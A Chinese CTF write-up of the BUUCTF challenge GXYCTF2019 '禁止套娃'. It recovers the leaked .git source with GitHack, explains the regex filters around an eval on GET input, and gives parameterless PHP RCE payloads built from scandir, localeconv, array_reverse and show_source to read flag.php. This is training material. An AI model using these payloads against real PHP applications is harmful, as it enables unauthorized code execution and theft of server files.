buuctf-[GXYCTF2019]禁止套娃 git泄露,无参数rce

用dirsearch扫一下,看到flag.php

访问一下没啥东西,使用githack

php 复制代码
python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git/

查看index.php

php 复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))  //限制了php伪协议
                                                                                 {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) //这就是匹配任意字母到_然后+(?R)? ,后面这个?R是引用当前表达式,形成递归调用,然后继续来匹配。
                                                                            {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
php 复制代码
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了。

无参数rce上次做ctfshow web40的时候刚碰到过

可以参考https://www.cnblogs.com/NPFS/p/13778333.html

ctfshow 命令执行(40-50)-CSDN博客

基本一样,用上面的命令就可以

获取当前文件目录

php 复制代码
?exp=print_r(scandir(current(localeconv())));

用array_reverse把数组倒置,再用next默认返回第一个元素

next()函数讲内部指针指向数组中的下一个元素,并输出

php 复制代码
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

high_light或者show_source输出

复制代码
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
相关推荐
晨晖22 分钟前
简单排序c语言版
c语言·开发语言
小萌新上大分5 分钟前
java线程通信 生产者消费者,synchronized,,ReentrantLock,Condition(笔记备份)
java·多线程·lock·java线程间通信的方式·reentrantlock使用·生产者消费者问题java·java多线程与高并发
それども17 分钟前
Spring Bean 的name可以相同吗
java·后端·spring
MediaTea20 分钟前
大学 Python 编程基础(合集)
开发语言·python
墨雪不会编程20 分钟前
C++ string 详解:STL 字符串容器的使用技巧
java·开发语言·c++
Lucky GGBond21 分钟前
实践开发:老系统新增字段我是如何用枚举优雅兼容历史数据的
java
悲喜自渡72124 分钟前
Python 编程(gem5 )
java·linux·开发语言
xing-xing1 小时前
JVM 内存、直接内存、系统内存、本地内存、物理内存总结
java·jvm
yangpipi-1 小时前
《C++并发编程实战》第5章 C++内存模型和原子操作
android·java·c++
运维行者_1 小时前
OPM 与传统管理工具的区别,在网络修复与自动化运维方面的优势在哪里?
运维·服务器·开发语言·网络·自动化·php·ssl